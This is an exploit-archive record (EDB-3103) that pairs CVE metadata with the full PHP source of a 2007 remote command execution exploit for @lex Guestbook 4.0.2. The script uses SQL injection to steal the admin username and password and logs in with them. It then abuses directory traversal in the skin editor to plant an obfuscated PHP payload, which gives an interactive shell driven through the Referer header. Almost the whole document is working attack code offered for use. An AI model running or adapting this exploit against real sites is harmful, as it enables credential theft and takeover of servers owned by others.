{"exploit":{"id":"EDB-3103","name":"@lex Guestbook 4.0.2 - Remote Command Execution","description":"@lex Guestbook 4.0.2 - Remote Command Execution","cves":["CVE-2007-0205","CVE-2007-0202"],"author":"DarkFig","published":"2007-01-08","platform":"php","type":"webapps","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3103","path":"exploits/php/webapps/3103.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3103.php","vulnerabilities":[{"id":"CVE-2007-0205","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in admin/skins.php for @lex Guestbook 4.0.2 and earlier allows remote attackers to create files in arbitrary directories via \"..\" sequences in the (1) aj_skin and (2) skin_edit parameters. NOTE: this can be leveraged for file inclusion by creating a skin file in the lang directory, then referencing that file via the lang parameter to index.php, which passes a sanity check in livre_include.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0205","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0205"},"updatedAt":"2024-08-07T12:12:18.192Z","retrievedAt":"2026-11-26T17:23:06.129Z","stale":false,"error":null},{"id":"CVE-2007-0202","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in index.php in @lex Guestbook 4.0.2 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the lang parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0202","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0202"},"updatedAt":"2024-08-07T12:12:17.335Z","retrievedAt":"2026-11-26T17:06:21.566Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3103.png?v=2","url":"https://exploitbin.com/exploits/EDB-3103","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3103/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3103/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/php\n<?php\n/*/\n |\n | header> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit\n | header> ========================================================\n | status> Retrieving the administrator password\n | sploit> AdminUsername::root\n | sploit> AdminPassword::toor\n | status> Trying to get logged in\n | sploit> Done\n | status> Trying to add a skin\n | sploit> Done\n | status> Writing the malicious skin\n | $shell> whoami\n | darkfig\n |\n | $shell> cat /etc/passwd ...\n |\n/*/\n\nif($argc < 2)\n{\n       print \"\\n---------------------------------------------------------\";\n       print \"\\nAffected.scr..: @lex Guestbook <= 4.0.2\"; // last version\n       print \"\\nPoc.ID........: 20070107\";\n       print \"\\nType..........: PHP Code Execution\";\n       print \"\\nRisk.level....: High\";\n       print \"\\nSrc.download..: www.alexphpteam.com\";\n       print \"\\nPoc.link......: acid-root.new.fr/poc/20070107.txt\";\n       print \"\\nCredits.......: DarkFig\";\n       print \"\\n---------------------------------------------------------\";\n       print \"\\nUsage.........: php xpl.php <url>\";\n       print \"\\nProxyOptions..: <proxhost:proxport> <proxuser:proxpass>\";\n       print \"\\nExample.......: php xpl.php http://victim.com/@lexgb/\";\n       print \"\\n---------------------------------------------------------\\n\";\n       exit(1);\n}\n\n$url=$argv[1];\n$prs=$argv[2];\n$pra=$argv[3];\n\n$xpl = new phpsploit();\n$xpl->agent(\"Sploitzilla\");\nif(!empty($prs)) $xpl->proxy($prs);\nif(!empty($pra)) $xpl->proxyauth($pra);\n\n/*/\n |\n | index.php\n | =========\n | ... include($chem_absolu.\"include/livre_include.\".$alex_livre_ext);\n |\n |\n | livre_include.php -> Local File Inclusion\n | =================\n | ... set_magic_quotes_runtime(0); // thx =)\n | ... if (isset($_GET['lang']) && $_GET['lang'] && file_exists($chem_absolu.\"languages/\".$_GET['lang'].\".\".$alex_livre_ext))\n | $f_language = str_replace(\"..\",\"\",$_GET['lang']); // We can't use .... because of file_exists() verification but ... =]\n | include($chem_absolu.\"languages/\".$f_language.\".\".$alex_livre_ext);\n |\n |\n |  index.php -> SQL Injection\n |  =========\n |  ... sql_select_query(\"msg\", \"alex_livre_txt_lang\", \"WHERE lang='\".$f_language.\"' and `type`='titre'\");\n |  // \"SELECT msg FROM `alex_livre_txt_lang` WHERE lang='$f_language' and type=`titre`\n |\n/*/\n\n$sql = \"index.php?lang=english.php%00'%20union%20select%20\".\n      \"concat('XPLLogin:',(select%20login%20from%20alex_livr\".\n      \"e_users%20LIMIT%201),'XPLPass:',(select%20pass%20from\".\n      \"%20alex_livre_users%20LIMIT%201))/*\";\n\nprint \"\\nheader> @lex Guestbook <= 4.0.2 Remote Command Execution Exploit\";\nprint \"\\nheader> ========================================================\";\nprint \"\\nstatus> Retrieving the administrator password\";\n$xpl->get($url.$sql);\n\nif(preg_match('#<div class=\"d_title\">XPLLogin:(.*)XPLPass:(.*)</div>#',$xpl->getcontent(),$count))\nprint \"\\nsploit> AdminUsername::\".$count[1].\"\\nsploit> AdminPassword::\".$count[2];\nelse die(\"\\nsploit> Exploit failed\");\n\nprint \"\\nstatus> Trying to get logged in\";\n$xpl->post($url.\"admin/index.php\",\"f_login=\".$count[1].\"&f_pass=\".$count[2].\"&f_identif=Identification\");\nif(preg_match(\"#f_cadres\\.php\\?f_sid=([a-z0-9]{32})#\",$xpl->getheader(),$sid)) print \"\\nsploit> Done\";\nelse die(\"\\nsploit> Exploit failed\");\n\nprint \"\\nstatus> Trying to add a skin\";\n// skins.php ... @mkdir($chem_absolu.\"templates/skins/\".$_POST['aj_skin'].\"/\", 0755)\n$xpl->post($url.\"admin/skins.php?f_sid=\".$sid[1],\"aj_skin=../../languages/d4h4x0rskin&ajouter=Ajouter\");\nif(!preg_match('#alert\\(\"ERREUR\\n#',$xpl->getcontent())) print \"\\nsploit> Done\";\nelse die(\"\\nsploit> Exploit failed\");\n\n$scode = \"chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d).\".\n        \"chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).\".\n        \"chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).\".\n        \"chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45).\".\n        \"chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27).\".\n        \"chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52).\".\n        \"chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52).\".\n        \"chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b)\";\n\n$data  = \"skin_edit=skins.php%3Ff_sid%3D\".$sid[1].\"%26skin_edit\".\n        \"%3D../../languages/d4h4x0rskin&alex_livre=<?php\\r\\n@e\".\n        \"val($scode);exit(0);\\r\\n?>&add_message=&nb_message_pa\".\n        \"ge=&list_pages=&corps_messages=&space=&assembly=&enre\".\n        \"gistrer=Enregistrer\";\n\nprint \"\\nstatus> Writing the malicious skin\\n\\$shell> \";\n// skins.php ... write($chem_absolu.\"templates/skins/\".$_GET['skin_edit'].\"/\".$tab_template_guestbook[$i])\n$xpl->post($url.\"admin/skins.php?skin_edit=../../languages/d4h4x0rskin&f_sid=\".$sid[1],$data);\n\nwhile(!preg_match(\"#^(quit|exit)$#\",($cmd = trim(fgets(STDIN)))))\n{\n   $xpl->addheader(\"Referer\",$cmd);\n   $xpl->get($url.\"index.php?lang=d4h4x0rskin/alex_livre.css%00\");\n   print $xpl->getcontent();\n   print \"\\n\\$shell> \";\n}\n\nclass phpsploit {\n\n\t/**\n\t * This function is called by the get()/post() functions.\n\t * You don't have to call it, this is the main function.\n\t *\n\t * @return $server_response\n\t */\n\tprivate function sock()\n\t{\n\t\tif(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport);\n\t\telse $socket = fsockopen($this->host,$this->port);\n\n\t\tif(!$socket) die(\"Error: The host doesn't exist\");\n\n\t\tif($this->method===\"get\") $this->packet = \"GET \".$this->url.\" HTTP/1.1\\r\\n\";\n\t\telseif($this->method===\"post\") $this->packet = \"POST \".$this->url. \" HTTP/1.1\\r\\n\";\n\t\telse die(\"Error: Invalid method\");\n\n\t\tif(!empty($this->proxyuser)) $this->packet .= \"Proxy-Authorization: Basic \".base64_encode($this->proxyuser.\":\".$this->proxypass).\"\\r\\n\";\n\t\t$this->packet .= \"Host: \".$this->host.\"\\r\\n\";\n\n\t\tif(!empty($this->agent))  $this->packet .= \"User-Agent: \".$this->agent.\"\\r\\n\";\n\t\tif(!empty($this->header)) $this->packet .= $this->header.\"\\r\\n\";\n\t\tif(!empty($this->cookie)) $this->packet .= \"Cookie: \".$this->cookie.\"\\r\\n\";\n\n\t\t$this->packet .= \"Connection: Close\\r\\n\";\n\t\tif($this->method===\"post\")\n\t\t{\n\t\t\t$this->packet .= \"Content-Type: application/x-www-form-urlencoded\\r\\n\";\n\t\t\t$this->packet .= \"Content-Length: \".strlen($this->data).\"\\r\\n\\r\\n\";\n\t\t\t$this->packet .= $this->data.\"\\r\\n\";\n\t\t}\n\t\t$this->packet .= \"\\r\\n\";\n\t\t$this->recv = '';\n\n\t\tfputs($socket,$this->packet);\n\t\twhile(!feof($socket)) $this->recv .= fgets($socket);\n\t\tfclose($socket);\n\n\t\tif($this->cookiejar) $this->cookiejar($this->getheader($this->recv));\n\t\tif($this->allowredirection) return $this->allowredirection($this->recv);\n\t\telse return $this->recv;\n\t}\n\n\n\t/**\n\t * This function allows you to add several cookie in the\n\t * request. Several methods are supported:\n\t *\n\t * $this->addcookie(\"name\",\"value\");\n\t * or\n\t * $this->addcookie(\"name=newvalue\");\n\t * or\n\t * $this->addcookie(\"othername=overvalue; xx=zz; y=u\");\n\t *\n\t * @param string $cookiename\n\t * @param string $cookievalue\n\t *\n\t */\n\tpublic function addcookie($cookn,$cookv='')\n\t{\n\t\t// $this->addcookie(\"name\",\"value\"); work avec replace\n\t\tif(!empty($cookv))\n\t\t{\n\t\t\tif($cookv === \"deleted\") $cookv=''; // cookiejar(1) && Set-Cookie: name=delete\n\t\t\tif(!empty($this->cookie))\n\t\t\t{\n\t\t\t    if(preg_match(\"/$cookn=/\",$this->cookie))\n\t\t\t    {\n\t\t\t    \t$this->cookie = preg_replace(\"/$cookn=(\\S*);/\",\"$cookn=$cookv;\",$this->cookie);\n\t\t\t    }\n\t\t\t    else\n\t\t\t    {\n\t\t\t    \t$this->cookie .= \" \".$cookn.\"=\".$cookv.\";\"; // \" \".\n\t\t\t    }\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->cookie = $cookn.\"=\".$cookv.\";\";\n\t\t\t}\n\t\t}\n\t\t// $this->addcookie(\"name=value; othername=othervalue\");\n\t\telse\n\t\t{\n\t    \t if(!empty($this->cookie))\n\t    \t {\n\t    \t \t$cookn = preg_replace(\"/(.*);$/\",\"$1\",$cookn);\n\t    \t \t$cookarr = explode(\";\",str_replace(\" \", \"\",$cookn));\n\t    \t \tfor($i=0;$i<count($cookarr);$i++)\n\t    \t \t{\n\t    \t \t\tpreg_match(\"/(\\S*)=(\\S*)/\",$cookarr[$i],$matches);\n\t    \t \t\t$cookn = $matches[1];\n\t    \t \t\t$cookv = $matches[2];\n\t    \t \t\t$this->addcookie($cookn,$cookv);\n\t    \t \t}\n\t    \t }\n\t\t\t else\n\t\t\t {\n\t\t\t \t$cookn = ((substr($cookn,(strlen($cookn)-1),1))===\";\") ? $cookn : $cookn.\";\";\n\t\t\t \t$this->cookie = $cookn;\n\t\t\t }\n\t\t}\n\t}\n\n\n\t/**\n\t * This function allows you to add several headers in the\n\t * request. Several methods are supported:\n\t *\n\t * $this->addheader(\"headername\",\"headervalue\");\n\t * or\n\t * $this->addheader(\"headername: headervalue\");\n\t *\n\t * @param string $headername\n\t * @param string $headervalue\n\t */\n\tpublic function addheader($headern,$headervalue='')\n\t{\n\t\t// $this->addheader(\"name\",\"value\");\n\t\tif(!empty($headervalue))\n\t\t{\n\t\t\tif(!empty($this->header))\n\t\t\t{\n\t\t\t\tif(preg_match(\"/$headern:/\",$this->header))\n\t\t\t\t{\n\t\t\t\t\t$this->header = preg_replace(\"/$headern: (\\S*)/\",\"$headern: $headervalue\",$this->header);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->header .= \"\\r\\n\".$headern.\": \".$headervalue;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->header=$headern.\": \".$headervalue;\n\t\t\t}\n\t\t}\n\t\t// $this->addheader(\"name: value\");\n\t\telse\n\t\t{\n\t\t\tif(!empty($this->header))\n\t\t\t{\n\t\t\t\t$headarr = explode(\": \",$headern);\n\t\t\t\t$headern = $headarr[0];\n\t\t\t\t$headerv = $headarr[1];\n\t\t\t\t$this->addheader($headern,$headerv);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->header=$headern;\n\t\t\t}\n\t\t}\n\t}\n\n\n\t/**\n\t * This function allows you to use an http proxy server.\n\t * Several methods are supported:\n\t *\n\t * $this->proxy(\"proxyip\",\"8118\");\n\t * or\n\t * $this->proxy(\"proxyip:8118\")\n\t *\n\t * @param string $proxyhost\n\t * @param integer $proxyport\n\t */\n\tpublic function proxy($proxy,$proxyp='')\n\t{\n\t\t// $this->proxy(\"localhost:8118\");\n\t\tif(empty($proxyp))\n\t\t{\n\t\t\tpreg_match(\"/^(\\S*):(\\d+)$/\",$proxy,$proxarr);\n\t\t\t$proxh = $proxarr[1];\n\t\t\t$proxp = $proxarr[2];\n\t\t\t$this->proxyhost=$proxh;\n\t\t\t$this->proxyport=$proxp;\n\t\t}\n\t\t// $this->proxy(\"localhost\",8118);\n\t\telse\n\t\t{\n\t\t\t$this->proxyhost=$proxy;\n\t\t\t$this->proxyport=intval($proxyp);\n\t\t}\n\t\tif($this->proxyport > 65535) die(\"Error: Invalid port number\");\n\t}\n\n\n\t/**\n\t * This function allows you to use an http proxy server\n\t * which requires a basic authentification. Several\n\t * methods are supported:\n\t *\n\t * $this->proxyauth(\"darkfig\",\"dapasswd\");\n\t * or\n\t * $this->proxyauth(\"darkfig:dapasswd\");\n\t *\n\t * @param string $proxyuser\n\t * @param string $proxypass\n\t */\n\tpublic function proxyauth($proxyauth,$proxypasse='')\n\t{\n\t\t// $this->proxyauth(\"darkfig:password\");\n\t\tif(empty($proxypasse))\n\t\t{\n\t\t\tpreg_match(\"/^(.*):(.*)$/\",$proxyauth,$proxautharr);\n\t\t\t$proxu = $proxautharr[1];\n\t\t\t$proxp = $proxautharr[2];\n\t\t\t$this->proxyuser=$proxu;\n\t\t\t$this->proxypass=$proxp;\n\t\t}\n\t\t// $this->proxyauth(\"darkfig\",\"password\");\n\t\telse\n\t\t{\n\t\t\t$this->proxyuser=$proxyauth;\n\t\t\t$this->proxypass=$proxypasse;\n\t\t}\n\t}\n\n\n\t/**\n\t * This function allows you to set the \"User-Agent\" header.\n\t * Several methods are possible to do that:\n\t *\n\t * $this->agent(\"Mozilla Firefox\");\n\t * or\n\t * $this->addheader(\"User-Agent: Mozilla Firefox\");\n\t * or\n\t * $this->addheader(\"User-Agent\",\"Mozilla Firefox\");\n\t *\n\t * @param string $useragent\n\t */\n\tpublic function agent($useragent)\n\t{\n\t\t$this->agent=$useragent;\n\t}\n\n\n\t/**\n\t * This function returns the header which will be\n\t * in the next request.\n\t *\n\t * $this->showheader();\n\t *\n\t * @return $header\n\t */\n\tpublic function showheader()\n\t{\n\t\treturn $this->header;\n\t}\n\n\n\t/**\n\t * This function returns the cookie which will be\n\t * in the next request.\n\t *\n\t * $this->showcookie();\n\t *\n\t * @return $storedcookies\n\t */\n\tpublic function showcookie()\n\t{\n\t\treturn $this->cookie;\n\t}\n\n\n\t/**\n\t * This function returns the last formed\n\t * http request (the http packet).\n\t *\n\t * $this->showlastrequest();\n\t *\n\t * @return $last_http_request\n\t */\n\tpublic function showlastrequest()\n\t{\n\t\treturn $this->packet;\n\t}\n\n\n\t/**\n\t * This function sends the formed http packet with the\n\t * GET method. You can precise the port of the host.\n\t *\n\t * $this->get(\"http://localhost\");\n\t * $this->get(\"http://localhost:888/xd/tst.php\");\n\t *\n\t * @param string $urlwithpath\n\t * @return $server_response\n\t */\n\tpublic function get($url)\n\t{\n\t\t$this->target($url);\n\t\t$this->method=\"get\";\n\t\treturn $this->sock();\n\t}\n\n\n\t/**\n\t * This function sends the formed http packet with the\n\t * POST method. You can precise the port of the host.\n\t *\n\t * $this->post(\"http://localhost/index.php\",\"admin=1&user=dark\");\n\t *\n\t * @param string $urlwithpath\n\t * @param string $postdata\n\t * @return $server_response\n\t */\n\tpublic function post($url,$data)\n\t{\n\t\t$this->target($url);\n\t\t$this->method=\"post\";\n\t\t$this->data=$data;\n\t\treturn $this->sock();\n\t}\n\n\n\t/**\n\t * This function returns the content of the server response\n\t * without the headers.\n\t *\n\t * $this->getcontent($this->get(\"http://localhost/\"));\n\t * or\n\t * $this->getcontent();\n\t *\n\t * @param string $server_response\n\t * @return $onlythecontent\n\t */\n\tpublic function getcontent($code='')\n\t{\n\t\tif(empty($code)) $code = $this->recv;\n\t\t$content = explode(\"\\n\",$code);\n\t\t$onlycode = '';\n\t\tfor($i=1;$i<count($content);$i++)\n\t\t{\n\t\t\tif(!preg_match(\"/^(\\S*):/\",$content[$i])) $ok = 1;\n\t\t\tif($ok) $onlycode .= $content[$i].\"\\n\";\n\t\t}\n\t\treturn $onlycode;\n\t}\n\n\n\t/**\n\t * This function returns the headers of the server response\n\t * without the content.\n\t *\n\t * $this->getheader($this->post(\"http://localhost/x.php\",\"x=1&z=2\"));\n\t * or\n\t * $this->getheader();\n\t *\n\t * @param string $server_response\n\t * @return $onlytheheaders\n\t */\n\tpublic function getheader($code='')\n\t{\n\t\tif(empty($code)) $code = $this->recv;\n\t\t$header = explode(\"\\n\",$code);\n\t\t$onlyheader = $header[0].\"\\n\";\n\t\tfor($i=1;$i<count($header);$i++)\n\t\t{\n\t\t\tif(!preg_match(\"/^(\\S*):/\",$header[$i])) break;\n\t\t\t$onlyheader .= $header[$i].\"\\n\";\n\t\t}\n\t\treturn $onlyheader;\n\t}\n\n\n\t/**\n\t * This function is called by the cookiejar() function.\n\t * It adds the value of the \"Set-Cookie\" header in the \"Cookie\"\n\t * header for the next request. You don't have to call it.\n\t *\n\t * @param string $server_response\n\t */\n\tprivate function getcookie($code)\n\t{\n\t\t$carr = explode(\"\\n\",str_replace(\"\\r\\n\",\"\\n\",$code));\n\t\tfor($z=0;$z<count($carr);$z++)\n\t\t{\n\t\t\tif(preg_match(\"/set-cookie: (.*)/i\",$carr[$z],$cookarr))\n\t\t\t{\n\t\t\t\t$cookie[] = preg_replace(\"/expires=(.*)(GMT||UTC)(\\S*)$/i\",\"\",preg_replace(\"/path=(.*)/i\",\"\",$cookarr[1]));\n\t\t\t}\n\t\t}\n\n\t\tfor($i=0;$i<count($cookie);$i++)\n\t\t{\n\t\t\tpreg_match(\"/(\\S*)=(\\S*);/\",$cookie[$i],$matches);\n\t    \t        $cookn = $matches[1];\n\t    \t        $cookv = $matches[2];\n\t    \t        $this->addcookie($cookn,$cookv);\n\t\t}\n    }\n\n\n\t/**\n\t * This function is called by the get()/post() functions.\n\t * You don't have to call it.\n\t *\n\t * @param string $urltarg\n\t */\n\tprivate function target($urltarg)\n\t{\n\t\tif(!preg_match(\"/^http:\\/\\/(.*)\\//\",$urltarg)) $urltarg .= \"/\";\n\t\t$this->url=$urltarg;\n\n\t\t$array = explode(\"/\",str_replace(\"http://\",\"\",preg_replace(\"/:(\\d+)/\",\"\",$urltarg)));\n\t\t$this->host=$array[0];\n\n\t\tpreg_match(\"/:(\\d+)\\//\",$urltarg,$matches);\n\t\t$this->port=empty($matches[1]) ? 80 : $matches[1];\n\n\t\t$temp = str_replace(\"http://\",\"\",preg_replace(\"/:(\\d+)/\",\"\",$urltarg));\n\t\tpreg_match(\"/\\/(.*)\\//\",$temp,$matches);\n\t\t$this->path=str_replace(\"//\",\"/\",\"/\".$matches[1].\"/\");\n\n\t\tif($this->port > 65535) die(\"Error: Invalid port number\");\n\t}\n\n\n\t/**\n\t * If you call this function, the script will\n\t * extract all \"Set-Cookie\" headers values\n\t * and it will automatically add them into the \"Cookie\" header\n\t * for all next requests.\n\t *\n\t * $this->cookiejar(1); // enabled\n\t * $this->cookiejar(0); // disabled\n\t *\n\t */\n\tpublic function cookiejar($code)\n\t{\n\t\tif($code===0) $this->cookiejar='';\n\t\tif($code===1) $this->cookiejar=1;\n\t\telse\n\t\t{\n\t\t\t$this->getcookie($code);\n\t\t}\n\t}\n\n\n\t/**\n\t * If you call this function, the script will\n\t * follow all redirections sent by the server.\n\t *\n\t * $this->allowredirection(1); // enabled\n\t * $this->allowredirection(0); // disabled\n\t *\n\t * @return $this->get($locationresponse)\n\t */\n\tpublic function allowredirection($code)\n\t{\n\t\tif($code===0) $this->allowredirection='';\n\t\tif($code===1) $this->allowredirection=1;\n\t\telse\n\t\t{\n\t\t\tif(preg_match(\"/(location|content-location|uri): (.*)/i\",$code,$codearr))\n\t\t\t{\n\t\t\t\t$location = str_replace(chr(13),'',$codearr[2]);\n\t\t\t\tif(!eregi(\"://\",$location))\n\t\t\t\t{\n\t\t\t\t\treturn $this->get(\"http://\".$this->host.$this->path.$location);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\treturn $this->get($location);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn $code;\n\t\t\t}\n\t\t}\n\t}\n\n\n\t/**\n\t * This function allows you to reset some parameters:\n\t *\n\t * $this->reset(header); // headers cleaned\n\t * $this->reset(cookie); // cookies cleaned\n\t * $this->reset();       // clean all parameters\n\t *\n\t * @param string $func\n\t */\n\tpublic function reset($func='')\n\t{\n\t\tswitch($func)\n\t\t{\n\t\t\tcase \"header\":\n\t\t\t$this->header='';\n\t\t\tbreak;\n\n\t\t\tcase \"cookie\":\n\t\t\t$this->cookie='';\n\t\t\tbreak;\n\n\t\t\tdefault:\n\t\t        $this->cookiejar='';\n\t\t        $this->header='';\n\t\t        $this->cookie='';\n\t\t        $this->allowredirection='';\n\t\t        $this->agent='';\n\t\t        break;\n\t\t}\n\t}\n}\n\n# milw0rm.com [2007-01-08]","sha256":"1971a876e369e69fed95e93f94dd5df7f2f0cc34f40773f4a609555968a55c61","bytes":16789,"fetchedAt":"2026-11-26T17:06:12.233Z","encoding":"utf-8 (display only; download retains original bytes)"}